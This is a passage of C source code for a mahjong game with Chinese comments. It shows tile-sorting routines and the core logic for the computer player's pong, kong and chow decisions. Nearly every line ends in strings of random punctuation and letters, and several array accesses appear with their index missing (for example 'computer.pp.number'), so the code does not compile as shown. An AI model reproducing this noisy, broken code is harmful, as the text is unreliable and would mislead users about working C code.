. N+ x7 U2 ^1 h: u' Q5 qcomputer.pp[j+1].oneorfour=u;& ?. k: j$ i( l: x: I
u=computer.pp[n].number;5 l: N9 X$ K! B( W+ w
computer.pp[n].number=computer.pp[j+1].number;( r* V# ^; f' X! L2 t
computer.pp[j+1].number=u;- b( {( V' v/ w5 S) ]5 B3 b. M1 U
}6 E4 c6 D+ Q+ a" n  b
}
! u* v* v* s" q' d* g2 b}
8 w& c* A' ?) j; @/ bvoid melipai()1 G: V4 Q9 Y; k2 Z
{ int n,j,u;
, E- t/ }8 P/ V; ~7 \) V+ {int *lingshi;
( y3 K3 ]1 C2 h5 h& zfor(n=0;n&lt;me.m;n++)
: _( E1 q; e% q% d; ^+ I7 J* Ifor(j=n;j&lt;me.m;j++)
+ C, e- `! M/ L& p: Z{
) M, n6 ^' G5 X3 m6 ~9 Y% Hif(me.pp[n].number&gt;me.pp[j+1].number)( [$ [; H! P; C% M4 k8 o# M" Z
{
& Z0 W/ ^! `5 ~lingshi=me.pp[n].k;! q- }% z$ ]. \7 j  ~. \  [' z
me.pp[n].k=me.pp[j+1].k;* v% [- g' ]' S+ z6 h
me.pp[j+1].k=lingshi;
- M, M9 h* E/ F$ }1 @; eu=me.pp[n].oneorfour;' D8 S( Y3 A; h2 t) Z5 l7 C% ?$ `, Y
me.pp[n].oneorfour=me.pp[j+1].oneorfour;) R; d5 h7 y" E/ m! R8 ?, Y8 x
me.pp[j+1].oneorfour=u;8 s8 a! k+ {) l+ ^. p3 F
u=me.pp[n].number;1 f  ^* C  F, [9 l. a
me.pp[n].number=me.pp[j+1].number;
3 ]$ e- C- {) a4 [1 ~+ b/ c( bme.pp[j+1].number=u;( b6 Z& D3 T! v% [2 Q* i. d
}+ o7 H8 K, v8 d
else
& D7 i) A: W7 D. \if(me.pp[n].number==me.pp[j+1].number)
6 g# f/ B" j; Q/ l9 r) L4 r- Z1 Sif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour); `# i" e  h$ Q2 h
{" ?* Q4 [; ]& s# D2 u; [1 s
lingshi=me.pp[n].k;' v4 q% W! O, Q% y+ B2 R- _# j
me.pp[n].k=me.pp[j+1].k;
1 U8 h' g( a. F# z, M; b* mme.pp[j+1].k=lingshi;- n1 i+ s  }! t5 x2 @1 T" q+ {
u=me.pp[n].oneorfour;; z- j" n  O% e2 z' m( \
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
0 R8 E( K4 A. z3 K+ Cme.pp[j+1].oneorfour=u;
3 Q7 q) x5 L+ Iu=me.pp[n].number;! {6 R, ?9 p) t8 x: W$ c
me.pp[n].number=me.pp[j+1].number;
! f# y3 S3 @3 K% D$ {& I  {: `me.pp[j+1].number=u;
9 U  O1 y' C1 i9 X' f9 v  o}, d5 }0 u7 e6 J1 O1 u
}
  A+ n& O; i, F( e3 X}7 S; O9 W9 T8 }( W7 G( `  `
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
5 A3 a- G, M  _0 w/ e5 ^& N{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;5 T. c* B" }( n7 R
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
; C3 u7 I# N& e& _1 r' E{: X6 ]& d. x0 y; Y
logo=1;
) S$ }4 u/ Q: C4 C$ |if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
  H3 o( B9 x7 X; \logoo=1;
0 F( ^/ z+ U* a9 T4 s$ v8 ^5 D5 ~else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)8 b% T1 V  I- J  R9 z9 `
logoo=2;
( q) L- g$ n0 Q$ x* ^else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)) I6 L. e5 D' O
logoo=3;
6 B- c+ q$ |+ Velse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)( s, y; O" k8 j
logoo=4;4 n% }% A9 U( s/ K# D4 t
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
3 U2 F. k4 E, ]! k# ~% @( ]. P8 wlogoo=5;
- }& F+ f9 E0 Z' Belse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
4 _/ V: S. j- g; ], `logoo=6;
$ y' [' F2 e5 O. Z' ?& D% selse if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
: {6 f+ n7 L4 Z. Z7 `6 Wlogoo=7;% w; S4 n# T& W4 k
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
6 B  k9 ^  j! y. n8 Rlogoo=8;: R2 p& H3 \8 y" G
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)) e; Q. P# G$ x
logoo=9;
* u- P% i0 K! V4 H/ x}  \1 I- Y; U6 i7 {) u
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36): z5 d7 C9 B# m, H
{
" D+ p: n% Q5 c' Vlogo=2;
' W) D0 J8 l2 E: K* bif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
% \3 I$ ?/ [8 x& }- E, Z4 ]logoo=1;
& b6 Z9 d4 \& D& h: \3 N/ [else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
8 E$ H& d+ a1 X4 \logoo=2;
! j% Q3 Z) }: ], `else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)# S# b& M: _( k# c. W3 p# Y
logoo=3;
0 y/ x' J0 q% {- Z& ^' Felse if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48); E  w2 E0 u6 T3 S' F$ [6 j
logoo=4;  c2 I  ^2 A! G4 g4 C: Y$ h
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52), N; Q* l! e# s  c/ O2 Q
logoo=5;
8 @0 Y' E+ _# ~8 T; o* Celse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)% ]' E9 g8 r+ r
logoo=6;
; q, Z* g( \; J0 J# delse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
/ c. D9 m' G" J, `logoo=7;
: M1 I8 z5 e3 R& J* pelse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)9 X2 ~+ c1 `& g8 x) F8 |2 H/ P
logoo=8;
% B2 [( s' r: c1 l8 aelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
9 g+ t. ]; V( L( e) zlogoo=9;; ?8 I1 Q; N' O# m% q; N; s
}
3 u* X; z7 F$ {; `9 celse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
% t2 g" {6 L0 w) t{* @$ `0 }# s- o0 Z) U: @
logo=3;* m! e8 i) r; e, V4 l
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)& D! o, X! p  Q7 V9 Y; y; z: d& ~0 Z
logoo=1;
2 m2 e2 ]4 U. C, Aelse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76), M$ j) U7 D- P6 I2 c
logoo=2;
2 f9 C2 m9 {3 `- X# ]  W  q7 E$ Pelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
6 Q( `" o- Y, h& o5 g# A; f$ Wlogoo=3;
7 P! {/ g4 Y& _else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)0 j+ V# O% k. @" ^
logoo=4;
- t; f0 \! K' u+ g  i, O; Aelse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)& i3 s* ~; e7 J4 d; C0 G
logoo=5;$ n5 A7 r2 M& w  w/ t
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
" I6 u& O6 h/ Ilogoo=6;
1 u$ U9 M) e! U4 Delse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
" o! A) H" ~( e) ]3 E9 ~logoo=7;: F4 ^- H; s7 \* k' _' Z) @
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100), o  H) S6 a. t* ~' H  q; V# Q
logoo=8;
- }' |* b- V8 l; ~- C+ `! ~else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)3 J7 [8 A; B- I0 }9 j. f& f$ s8 K" o
logoo=9;
4 G, R  b+ o- d& U5 j6 `}
" {* Z6 G; a# G: {# {else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
0 g( |& Q$ v' n* j% r{
$ r, b7 o) X( A. |( z& ilogo=4;
4 O7 g7 d1 ^. J7 X8 H" i* y$ @& Eif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)" A0 G. Y1 L9 u9 \* J: z
logoo=1;. F8 E9 Q/ a  z% u: T
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
, h, d4 v, t% ?6 i; {5 a1 z- jlogoo=2;7 U$ p7 j7 H% Q3 S9 o5 B  Q
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116); g- r* m) t2 v4 I* C. `1 z
logoo=3;
4 ]' G1 f8 S9 p/ P( @else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
3 a( d6 I0 M/ x6 a0 ~logoo=4;
# d# ^8 V! o& a/ j. d/ Y2 I. ~else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
& B  K8 g$ z3 w0 u+ M; ^logoo=5;# V% c! `1 g% c' n7 X
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
5 N3 J9 J) S3 L9 clogoo=6;
3 Q, `7 t' w4 b7 E7 i8 ]# }. U$ A5 ]else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
/ ]  b9 Y8 x5 I  t% R. Rlogoo=7;
" [' O& r9 a* U: ^" ^; F8 C( _}
/ W3 y# Q" q% dwhile(b&lt;=computer.m)) N- k! K% B8 M# c9 s
{8 D9 S, |/ z% p0 {$ v8 {* w
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
6 P, \! M* b  w: B' q7 b{
% S6 U/ l7 V4 k) l8 H% G8 M2 \lg=1;6 E$ \  q" s5 A1 b
computer.pp.d[0]=1;
0 I' K- B8 M6 s- x( fif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)) d  o) _7 B. S& K; u
{5 J$ h3 ^5 w. ~$ G- R9 @, H. j2 N
lgg=1;
# T; n6 i" |8 r9 `( }% c$ Qcomputer.pp.d[1]=1;
' E; k4 @! x$ J6 G: j+ C2 p}# q/ Q* J, f! ~$ d7 `
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
1 g" P4 y4 h2 z0 Y  q& g2 B{
+ f; T# `! _. H$ Wlgg=2;, t' `9 Q4 f' T! Q
computer.pp.d[1]=2;& F0 o5 x0 c; V# m; t7 \& E5 ?
}+ t- h* @* v+ Q4 ?/ o
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
/ M* D; M8 X8 }4 y9 o{
- U" S: O# Z7 t3 algg=3;0 L9 z/ d) j; e7 A0 P
computer.pp.d[1]=3;+ \* O' X$ e+ n
}- q2 F# X3 r2 k# K
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
- G! O" M) D4 g; N) V3 v{
$ k& W1 O- _) s( o3 d6 K: Slgg=4;
* ]) J% Z2 j* A$ f3 B' W8 r; mcomputer.pp.d[1]=4;/ H4 o1 v7 S- B6 [/ ^
}
5 H! M: B. {% W) z2 felse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)2 Q0 Q! L4 k3 b# r& O2 h+ t
{
$ l% v0 ]/ A' B8 r5 |' hlgg=5;* A* ?; M( O: b7 w& I
computer.pp.d[1]=5;
( h6 c) z% `6 q2 P9 v1 |' U% x}/ B% }0 f4 f+ K# g$ _! ^( _# Q
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
9 T2 |, N; E6 X3 i* E+ K{
5 T, k0 K' D$ a, S: ^lgg=6;
/ D3 x# w% r  a" Mcomputer.pp.d[1]=6;6 V) p- S+ d7 M) p0 Z$ K, i- ~
}# X/ _7 y- r) s
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
2 m  n1 S) _  C; X- b. o{+ N6 ]# U4 ^8 \3 J. Y# p4 m
lgg=7;- N& E; K* {7 t: i  J/ @
computer.pp.d[1]=7;
& ^1 [0 R$ G4 n4 D( {}
1 d% r6 Q* ?1 y; velse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)- B) p2 Y' y' J. r- y( v/ k; W5 P
{
' J( _; E2 D! G, ~8 }3 Xlgg=8;% k1 b0 \. p/ Z6 i" x
computer.pp.d[1]=8;
+ z" D  i$ E. b. X3 B' D9 t8 M+ v}
% F% W* P" K. @0 x4 W* n5 felse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
; ]" ?; D% H3 A{
7 @! S& T1 N2 `: E; a* j+ Glgg=9;# N. h: B- U  [/ u' E
computer.pp.d[1]=9;
& t7 K( r' w8 J4 P}$ V' t) ?, I* B' [" u* N5 k% z. g
}6 B, b8 G9 Y( l, t& `& O$ J+ N! u
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
+ F& B8 F$ t, `1 D{
7 _1 K7 I9 V6 e, Z  `! S5 rlg=2;" H: S3 _5 [( E9 j6 V% N0 A
computer.pp.d[0]=2;
4 P% ?) l3 B2 @) {' N. ]if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)* b8 D# r, \" G. P: c0 P! D) h  K
{
8 U- f: Q% C% a, Zlgg=1;% u; E6 b+ ]* O/ i  r
computer.pp.d[1]=1;8 p/ U  p# I, @8 \
}
( R; F  M: `2 U# y6 |5 k* I9 @' melse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)* J6 d! p! f  k% k
{9 W: s/ S( ?2 m) b8 x! ~- _; l
lgg=2;5 M) @: e! w, X1 F* _
computer.pp.d[1]=2;$ S$ B& z# R+ \" Z
}
$ e, X* v) ?( D; v2 Relse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
, M. Q3 w, h- R{
! ?( Y2 C/ K7 n& mlgg=3;& O. q# C/ k: R" m" h0 ^
computer.pp.d[1]=3;% ^/ w# M. K4 ^9 C& q2 N
}' G  E" g1 G9 [6 o" r8 R- B. s
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
8 q# N# _: ?0 c  x  Z: D{& \; s" v: p2 f* n' ?
lgg=4;
! `, ~8 s3 o( R$ `2 Vcomputer.pp.d[1]=4;
4 h. @5 x0 ~, c: D4 D- x}8 k' X0 B0 R- m, J" r
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)/ Y' W  o$ C+ o- p
{- H& E$ h0 y; w
lgg=5;
9 [. E' |7 c# j4 Hcomputer.pp.d[1]=5;/ y% |1 b" m3 E3 J) ^+ t4 B2 Q) d
}! S( N' G, n) P
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)' ^5 l, I0 [9 t7 i
{6 D9 H2 O/ i. m8 O$ |8 [/ t
lgg=6;- x( ?" Y% y9 h8 ]0 A
computer.pp.d[1]=6;
& C, ?. e! v; ^' l% v  _}
# G9 L* ?5 n5 T: k( velse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)- g: [' f( F6 L0 f( M, I9 ~
{
! Z' R: ?$ R2 g- \  {lgg=7;1 c3 K! j: h" |7 b' [
computer.pp.d[1]=7;
7 i- }) p8 k" Z, O8 i, }}1 @% D7 F6 J5 h
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)1 v/ Y8 v6 O7 E$ m/ v
{
% Z% T% `: l% g0 s5 }lgg=8;; P1 R+ u( s3 o1 ~2 l  p2 k
computer.pp.d[1]=8;* o: p6 x) t! |; p2 v
}/ ]! [6 E9 g7 o4 L
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
" o3 t( R' V. U2 p' d{
1 M/ J( Y& i, n7 l/ x0 tlgg=9;
* @( g: t* V: o0 P0 l1 rcomputer.pp.d[1]=9;
5 [$ ^( Q. a" n}
- D" l" c' S4 |7 d}
' J+ C+ @( E( a' C! m6 v+ pelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)# `( @$ X2 Y8 ^) F7 G& K# _
{1 E7 z- Q0 c- e! m
lg=3;, K% S4 }5 P( L& R* a, c; v( Z
computer.pp.d[0]=3;) J* W9 Y6 F4 i: x& d4 b& s9 c
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)+ l! d; B# C" j1 `
{' c- N6 y# N, S
lgg=1;9 S" E, A9 w6 [
computer.pp.d[1]=1;
6 ]: t1 t" _" A}
' i+ h8 o# x/ R8 u% kelse if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)* A, P# Z) W# E1 @- o  o6 ]: l
{" _! q5 B7 D! Q+ X! [
lgg=2;9 {, @3 ]7 ~6 k. Z1 {
computer.pp.d[1]=2;3 ~( Z' S) C5 O7 N$ A; s
}
$ `2 t+ z! D' ?: B1 m& I) ]9 J9 eelse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
- z! n; k' y; `0 K{
! ~% h3 M. m# ^4 Mlgg=3;- r, N$ o" l2 p
computer.pp.d[1]=3;# T4 _2 u. F; w( C' t
}/ E; ?, n6 T: @+ M$ m% a# |2 r
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)8 n9 X3 ]8 Q/ B3 x6 q
{. E" M# d5 h" G6 Z- F; q/ v: n
lgg=4;5 f( [' F; d3 [( F' L! J: A
computer.pp.d[1]=4;
' V+ h$ M" H8 t}+ k; i& ], a/ F' j
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
. N: B4 ]5 o  v{
; |0 P/ L, X% s4 P6 ~2 }( [  Ulgg=5;
$ k0 ^+ J, a1 M( ~$ W7 Bcomputer.pp.d[1]=5;
+ Y6 T' I1 H! f; Z}% L' g* `8 D; V/ s$ B3 {4 C
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
, \, U. P% Q" B5 a8 [( _. U. J{
$ C; H+ [4 @- L: L  ~/ glgg=6;3 h& F" n3 I  q$ {/ ~, u# ]
computer.pp.d[1]=6;% [, c* {9 @$ S6 M7 L
}2 A8 p! Q* ?. U$ p7 ]1 @3 L5 ^5 Y
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)) L! Y( y/ r# b) ~/ J
{
0 x- _! x: @  c6 h* vlgg=7;! j- m* g7 G1 |+ ]0 W- g# E; c
computer.pp.d[1]=7;
! ^# R: S* Z1 J2 S4 i4 r}
. D  J  R1 r0 y4 b0 `  R1 gelse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
) z: [5 {3 f, B7 P4 J. l6 O0 E{
" I) b7 c' {$ \( wlgg=8;
4 F* F) _+ n# Y- H6 P' N0 |. Xcomputer.pp.d[1]=8;5 c* O6 E6 C3 t/ K$ R4 S% T" |
}
% s/ p8 q6 P+ v3 P) D5 melse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
2 `8 X0 o4 X, l* f{/ r& b2 ~9 [) i& w4 K- y- s
lgg=9;
1 Z! L& A& ~' m) Qcomputer.pp.d[1]=9;
  n8 w$ a; Z* S. V- _7 U) E}
3 V% K- R9 {" l8 j( F' i+ h}: I# p( y8 F" p* o0 }
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)7 B$ q& a- ~5 `' X6 a
{; m. {9 g1 N7 }. X
lg=4;
' r, }. s) a0 R; x3 d- lcomputer.pp.d[0]=4;
/ q4 }# {3 U) R+ H7 _  {! R' rif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
5 Q3 F+ F8 \7 m{7 \$ i$ Y: L4 }
lgg=1;6 s- X0 K8 V! J5 {' b2 U# b: B2 ?
computer.pp.d[1]=1;, s  B: e4 x5 e/ ~6 z% `
}
# V" @2 C; Q% A( ]4 K& h* G* `6 z0 n2 Nelse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
; B9 a; |6 a! ]; ?& W5 ~{2 Y6 Y2 ]+ X3 l& E* m
lgg=2;7 R( h' }0 Z$ n" o8 S4 g, k  ]: [
computer.pp.d[1]=2;
7 I. L! M* @* C}
5 V( R+ M  |2 y5 U" ?- e- ~else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)1 p+ X' @) C% y, H
{( c. S! [, [1 R+ u1 R
lgg=3;
5 S2 E" _$ l# ^" t! T3 T' F9 zcomputer.pp.d[1]=3;6 i8 \" V# @2 j7 B4 ^9 A
}
! C/ G1 O) B9 J9 X2 c* delse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120), o' s* r! u% j7 h8 q& H' X
{
) m5 E8 X! s+ @+ Tlgg=4;$ p, z1 P8 k$ E( u3 ]
computer.pp.d[1]=4;/ Z% z# W5 ^" g4 M
}
! J2 R* Y$ N& {/ I/ o1 A, E+ kelse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)/ j  F; q8 \; h- g
{7 Q- b; k) {. \) o9 Q2 L9 a+ Q; B
lgg=5;4 s1 H3 U) P# h% ~* H/ H! |. m& E  Q
computer.pp.d[1]=5;. x0 J1 [, J: w
}, w0 W- R6 C: [9 v+ ?
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128): H0 z# l, O! \0 ^. \
{5 [5 |# u7 x: [3 {& b7 w( {9 T
lgg=6;
5 f* s- }2 ]/ w$ v& I- dcomputer.pp.d[1]=6;& T& t% x) T) D! J$ M
}
9 D: o( h8 r- Helse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)9 N/ C+ l* l# e7 ~7 P- p# T& ]7 B6 W
{
# ~0 S0 _0 y  J- ~0 J7 T/ k/ c2 Slgg=7;& R& F) H, z; i4 W7 {  e
computer.pp.d[1]=7;& h* ^1 m1 @4 [) x
}
5 E  u; j* ~% j' a}* l! |( n% O4 o% I! I+ `& r

1 y5 g, \& X. n# u1 Mif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/# u; @2 s6 W3 I; r- R% N. g# r
if(logoo==lgg)
2 T$ H# H2 L0 G# ]2 A: Epg++;
9 \: c) z5 m+ ^; Wch.lg=lg; /*保存电脑手里的每张牌的信息*/
2 {8 {+ m( ]- @! @! k: ~5 a; V2 rch.lgg=lgg;
! d2 z6 g) T8 Z. O/ x% z9 k3 Blg=0;
4 @4 C: T3 Z) l6 W) M1 plgg=0;
- u. A5 `2 s0 M  N. o4 T+ n# m; z% ], pb++;
: B4 I, x& z( \- y; Y8 F}$ ~3 U( ~. @8 Z6 ]. y( b2 z4 J
if(pg==2) /*乓*/6 D" g7 F' ]" Z. M( h9 H+ |
{
8 C- t: C3 h8 I4 \5 H" M) o1 ]
# C- M: ?" R( A# V: xsing=1;( T* o9 |. _0 H, X, G
b=computer.m;
) c  V4 S. C% U/ T- m& Y' N7 ywhile(b!=-1)
3 J+ |) m$ g; `" @+ y  l# p{+ n- l% Y! F9 b. |1 q
if(strcmp(me.pp[c].k,computer.pp.k)==0)' C. ]4 q5 L$ y' |5 q
computer.pp.p=1;
2 P- N' a0 N" X! c* @: L6 w. q3 u7 h- a" ]8 v' O" D' k. U
b--;
$ |# _2 W2 j/ l: i* c7 t}
& G5 {1 t3 Y8 _4 S# S}5 s9 \0 ?! W8 C3 P' }" o8 h
if(pg==3) /*杠*/
2 E$ k" W0 B7 g* ]7 ~9 W: r$ b7 ]{/ }7 a) E& Q+ s/ A. |* f' ]! S; C
* j. ^6 C2 n9 @$ q0 p' M2 X# A
sing=2;
( A+ L; h) `5 B' r5 w0 Pb=computer.m;
- L* S! V  R( T3 `, ~, iwhile(b!=-1)
; Z* t5 a2 G6 @! d& F- F5 ^{% o. ?+ `. j$ x% ]2 g
if(strcmp(me.pp[c].k,computer.pp.k)==0)
6 f9 I# c9 T$ U2 Y2 n8 Q2 V2 C0 Ccomputer.pp.g=1;
) \. `3 @" G+ jb--;+ }, n" {1 H' S
}
" |7 Y; R& }( Z# V$ s}: D: m- P. v9 \
f=0;
1 `) t) u+ Z, ~& C: W& F' {. B9 @while(f&lt;computer.m) /*吃的判断*/$ S- F" f' s: X2 t, b( i
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)$ g* V5 m$ s, ~- f1 ^- r
{/ z! y4 o' ~" Q1 ?1 l
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/7 [' C( Z, S( ~7 n
if(ch[f].lgg-logoo==1)6 F/ }. S+ e$ @! `
{% z0 n0 l/ v) S1 _- k# e
gp++;
4 w8 U) p/ F* L9 g% g8 l& Mcomputer.pp[f].c=1;
7 K6 ~. H4 ?0 z2 a1 Scomputer.pp[f+1].c=1;# N4 ]0 L/ B& L- v1 S; Q5 b8 w
}3 D+ d' n0 G% E8 c/ Z
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
6 S0 H* K* y1 ]if(ch[f+1].lgg-logoo==-1); y; j* r" m: R1 W2 u
{  t$ }" q) j# m) G6 I8 ~
gp++;
! j' l% i5 m$ P5 P* Y2 f% B$ Dcomputer.pp[f].c=1;9 b& M0 C7 [: ?1 R  U/ P
computer.pp[f+1].c=1;
5 V) G. N9 ]* d  V. i}
' V) w; N! V( E, H4 fif(ch[f].lgg-logoo==-1) /*中吃*/
/ K# b- b' Y) M' F& Yif(ch[f+1].lgg-logoo==1)
6 Q/ e% R7 y8 q2 ]8 t0 m( b! D{% U. V( ?2 R& I4 O
gp++;5 d! ~# @+ V" O+ \9 m" B" A& |  T
computer.pp[f].c=1;6 q  n4 ~3 q: d% C
computer.pp[f+1].c=1;
- ?2 c; u; i/ X% O}
! V+ P7 q. G% s8 F. Y0 k: lif(gp==1)
% @, ]6 T. C( Sbreak;- Y& b/ F: S6 {7 _1 }; S
}
. W  }( R' e1 \3 a" S7 O: E, V* sf++;
! C4 }1 p* Q- S$ V6 `: p4 |}
& N) ^* _  C. J% Pif(gp==1)
$ b- o0 ]2 i% B& v{sing=7;5 F( k+ v' _# ^

$ J, C! N6 b' g  P/ t& B  w}- T1 X% X3 `6 E3 C7 X4 |4 a
pg=0;( J3 C, f- P: ?* _
gp=0;
$ B+ N# N! S! {1 D7 X* ]b=0;
0 z8 |; Q, i' [8 m) n}6 k& \9 f, s0 I% x
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
+ N$ [7 _/ @1 I6 Q: u+ A{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
6 N! e2 s: }& {: Vif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)) }) o5 ~9 E; x
{
$ ?9 h: ?* b! \, I1 w6 ^4 O% [logo=1;
& e2 _+ h' q! ~& B# G1 k$ G( k# hif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
  m& g) T- A. ?/ A0 a& d) S3 Nlogoo=1;7 G+ n5 w6 f2 p! f' ]
else if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4), M, f" z5 [! g8 d
logoo=2;0 o9 I6 U0 J! X
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)+ a! T& w. g' U8 s! V
logoo=3;
* [! I/ t+ |- K8 v4 K2 D4 Kelse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
* }8 r$ Q( h# \: c) ulogoo=4;, W5 x3 Q3 t$ b6 s. |$ O
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
* X8 x: ?; b3 D" u. r- alogoo=5;
. U+ f# D( g  o9 lelse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)3 Q# j1 d' _) g) L" z
logoo=6;4 ^8 O3 x/ @  T5 Y5 N; ~
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)" Y0 d6 P: r# P9 ]8 Q0 P! T
logoo=7;8 |- ^: S; T: e/ B9 z/ w$ ?: u
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)/ x5 Z/ E' I" t$ D' a7 l' e# _
logoo=8;
: D9 c8 m+ y$ v6 Uelse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
5 `8 A1 |2 [. h2 y9 f3 Dlogoo=9;
; X6 z! f% [4 A}
( C  t- C# j' {6 f! J  f6 eelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)! Z. g" X0 l0 ^9 @
{$ y/ @3 G/ e6 s2 ]! e2 A
logo=2;
6 c8 x3 V/ D& T9 s: f$ oif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
' `7 y" R. m0 j3 }; J4 D0 F+ dlogoo=1;+ a% W+ ~' h( y+ L* O: C5 ]
